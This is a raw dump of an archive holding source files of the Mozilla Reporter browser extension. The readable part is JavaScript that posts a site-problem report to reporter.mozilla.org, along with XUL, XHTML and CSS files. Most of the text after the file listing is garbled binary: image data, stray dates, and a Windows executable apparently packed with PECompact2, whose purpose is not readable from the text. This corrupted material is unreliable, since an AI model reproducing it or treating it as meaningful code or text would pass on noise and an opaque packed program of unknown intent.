gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019 4/10/2019 MZ
L!This program cannot be run in DOS mode.
PEC2^O
mbTpEN
:EWB(CO!
P\_!"%
hDB;e@~o
u|KrA/
b^UbUA
#Dzsb2dp&d
I81,xN6`
@Kk\;>d_y
%WzztE+`i[gV[bf1=9
D;kbr7?WY|
Z(PQ.KWUd
IWa+VW
t_%f]l.k+
b7/+Kv=Qg
E\!yP^U,agOPB`
ie}>u!
{xzGG3v0c\>AtUVY
q|^pXK
#il;C2
ktbQo!TZ
.,.Mh!Y!h'.*
q'e1_?m("
Xd'Ziay
n-C/T
0#ZWT|@KJ
eDtlk1
Vh0y&]!
?j|829J
xT+8v(
$J}ji0
fU^ma2yUf
pnxv=k
CK?K~9f\(%{
H<nO0.g
(b$a,kz"`Hn#[<ms&Q%
A^1.Q>-b
5#IK3&X!%V\q
ixz"SYOY
J^MfzNun
Ik^-tHS*
[9h?vnqd
J7Vng0
J#H#{]`$RXBPJ
N$Le=F
=8wv-3
s#*Za&DZ9
v?L$4P
v|jhXQ]N'
mGd/VD)=1B
3|P)ST
atgZCU+g
+d0J1I
18pO^l>p3
m'@e'05
LgThHL
D#f{O(J`d"rF
J7urt`Rj
3$+cC9W
yywWm;
Jjex|s
X!#uoK12#
"s@K\}C
?R{,hUUu ikHc
PECompact2
\ugWPw
H%caAp
6m8Nme!6
VR^]RIK5
vdQ_w\|H
y9e!w)n
]oRln uJ
=%8T"mXgbslcoF
$E,+hu
s@B?hqa`
#^|G(!8
x`T"@h
Ozi FzR7
zL)cOx
ba&tqa
J`/O`0
.E]=NQjKnw
1.19_p
vS}pT<*bgN_
WGc.5mIr@`^
/M8@tCL=ge
H:aP%w9iWPs0.,q
2\.vghK>-(au
"hA=1M-
r9W;>-
gigov
0~P<!Az$
#]_E{3o
4{h.6DsN!
+QRKK?t
^**5!<Vg
NZ_Rt
s0BRK3.[q#I
gKO3lToa
wW-E&@&A^t&
HEC+X[:
?EXN\GO(?
%OIpMEG
e+.;:?
Y;zVpN
Z'K20Vxq
?%Mh2^G
lXV!QOA,ex
pS@hv;
i'h8Q]g
tM;k/&i
bKz5Bg3
c14=pxh
Y,9}'r=[39dUM{RZ_
QN.KEnB[r
.nyULT6
xl$T&0C6
q]}N:)
Ag7F%TQf|U`
#h7HlV/M
PG3ilpeGA~oLIC,
}r/h{bG~
MCPTl+mj
oD u{VuLR.%
9iXS7b
^#w0N8
QqKrx[1T|>*
+NW{(h
I~+aXHt
uTpNMC
XC6mD.g
a`v\.$J,s[
u<-@pc}]
phusCJH]
o!w-BTy&
i*V&S9
Jtt]{JQ
E*wmc3e(jbtgh(
v-9q[3$uZU
HdOM1x&
8WiNW@
e87@46]
}D~+eLuOf
nAr8ei#v
~K(rAN
(rU)E'
TU?Ho9oJ
b'c4;|
p~>\\c@WCG{
t[1It/Tl"x
mNP_nw_WUZ
Q;G9%2|v13
;Li[@cc+
bYV/LT
DU=m?M!]
+@@L4~Ru4
ycr1FJP
/d._]aUIU>2|
/wQ)bAvRw;
*cV!^vgFcu*o
8.t__g
_P}`\nJ
))_c,dQ
'/ZMtQ
krgkLpf
'WC,oj /9
0psHW
'"[<VGs`
,G^`h,x
Gyp.`[
Ilv6Lgqm`x~Z
}oo\sRapWTz
'uwTH"
X8`,fw-
Zj{I# AJ
3G>51D8GvkR
<1V\%H
b.l} 2#,cczg%V
Y_eza^.\/CVj8tg
UsKjSS
nB^ur8E k
.QTcR
w!T4)9tZBlc<,
x,aajYE
[*V^|B)u?
XycA )%
4R5w1g
%!'Y'(
:pBjSqP
PJ2%b6
t6w6Gux
38pq" E
hJVulHWsL<-l_
ht=+?l}3@rrP
}3;+9
HtU*pM<(
Z\YLGA
t9*YKw
yGMa.%
%J=i:
O"os7?
1xtD/g
j:<^$V%e
mh>iFMk/[o
{CQ0*1w9
4Wr7%x{
<)~@mWV
`Z_IDJAtY<i-i
6t<rzt5<`[5L
E;7]A7JKd|JI
li3@kg
WeN)bJ
>3gJF%Lj
B^L<J#%G*6=lf
Tn#qn)r.0
wX8OZm?
CWsi0>
2NbXy4Ro71!6E
'QXqE6
Tmd7 E!
3q4.p=[);"r
H,u"[
ZPv,@J5!-
?zw!.RrM+<
wQkMS&P'P1
YR|7^RVM0iqC
\bw>_|{
WwbfwBL_m
~(N'5&/q{'9
\~c!{MFz|@m!Qk>C&
L83C^(%=
rN4RE^5wH]
z:wy@NaW:c5Si2h
<9Aj?Q)d77(+
^qyc;03Zet
$nggb
9i'eZU$!w
M!@/ce8
zr:S;2__Qx9p=`
a"DJe&dS3$)*
f%o9q\
hm1\GY
WO4O0k
)f/q0fP=
e7NhV7xU
+5C9&I
@sEuQr
+w5kV%5
0dV+ghQl0^/
>fBX&D
C.V7zyic,
8/5$DJ~A{D=:D
gb@U+-
TC2F-a=GP
v%ezB&j1Li
!-Ci~0
)ttg=y|
_ATRPx2
y&Fyuv~^r
bk'+$#*7^'Lz
!rZaz&
^Hmyqk
Ipx&(
4Pxt.$
FHg^BL8YoR
l)"]%l#
/x*_UL'2
NLy`dsf2GK*a,
|i_w<Y[
_H#|Dc
s2xy{`
w"g]P<
0;mfh})b
7CUq]CMC
jV9z)]Jl?
C@EP7$1
f@U2|*lc
Gm18xu
]yJT_}
{pY."h=U
`ZHL~`
1w.7BgpY
Zdp/Rn>
>?i/Ow
apHgV1+PrLd
!i6d@G[
#>BOIr1:%
r>r+HE
wsIAwh<e
/Gn6g1.gUij4H^m2
nITgLTmnvt:9
Y0Kb.Pp/8XiQF>+lp
O0jw%#-
Kl$;.jB%
9`R#IA,n
Texk`%
P#qd\lKB
<*sfk;k
.v^Z[$
qz{W(g8i!D7;uM
tVxNg\
Cb(3>
HVpag]Sn?lQ
YEB~0sqq[
:t_]BJ
skX#r[yzum&wL
p5v{9Fo
Yc>#~^q9?
bkGV-}:
r#hKgb\;
<|Kr9%|
m:Cs^W?+6g{EA23!
aEP0oh3QzLY
H/0\.]
6R]qW>EK
#0 1XiY
@?j&Y($/
0i2nyK\bF
L@8|V,
f.%tS-
iLOls;:
+A'QZ`
wxG]Aa
3yXOq6q;?91q
AVrLMq[+zMOy#w`
vSA'?T
\IT`mN[Q
~,b#*2r
|syW)wH8
A(dXS|
bsl(&o
PmeCv7KjZ:`\}OX
XmO+4V3UNXko,z0dU*D
IU+NdafDum
S"y"Zh
w{5pLy
&/LbxVnE{b4
]<l)$E
(j.LF1
'r;W8}
~T$ivBr
:2&<*&Qe,wj7
;@p"Wy)
d?[xn-#|7m0
kd#a`/
ngN`\DO
h2PswM
/}'_$T
O3|yRG
6%6EDSD
f8'F~=8J6=
GvE2Hl+*@A3O'
80sNSor
vda{& f
cjk_T}+j
q#Kc#i^?,
N#>f\xZ-b
rI2"T?m.FS
~![V&8
tvVEUa7d
{M}Ueg
Pv\o(a8E/,3Ky
9ulAnG)n}
s4jCT?!1|
[KLm1&QOkOq
fU8D8*
!1o?|j7*+`5
0=_l,G_L
^dmI^yp`lP%#%
1puvv\
G-QJD@
FAt_;$<o
`dyv'8
S+#NXV
z~E<z/
!1Na>Jq}
~z\qyE
FE8UZ1&&
@+7cs`
E?x]='
ZaOrF~
gYUFwbZlr
q[%FQx
eIS}<[g!
(2,u73
7oFNLqd
g5UVuZ~
:Ig{8m
QD(QI%C'P
-BT=Cg~\
Eh(qB
%&;FX%
2dE~4^9
{BQd!,r
uVKc1hg
~R0h[b
+Roj?k3eZ
fU,;j}k~
Qx0d.'
3qwIDblZ%
Nm-Z w
p,tUVv
d2:@nPmD036[l
:12DT*p,Wdyv$e
Jsieoc_
c\Ru~=
=!W+BP
+}eDR.Ml:'X
F={P4{a
:D\r8yA
70L92AoU
$\{gI{
_>/~07
Cu"$i{xE~9P@km7"
chcYp+/'
VvS]D!@.8o5V4+
nU#6~
uHO>M?C
8N9t=,7
>zLC9[uO
92V'>h1BuZ/%j
bS. *KDg)t0
O7B[(N
U(l'?XsS\/u$Ii
J__B@y
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
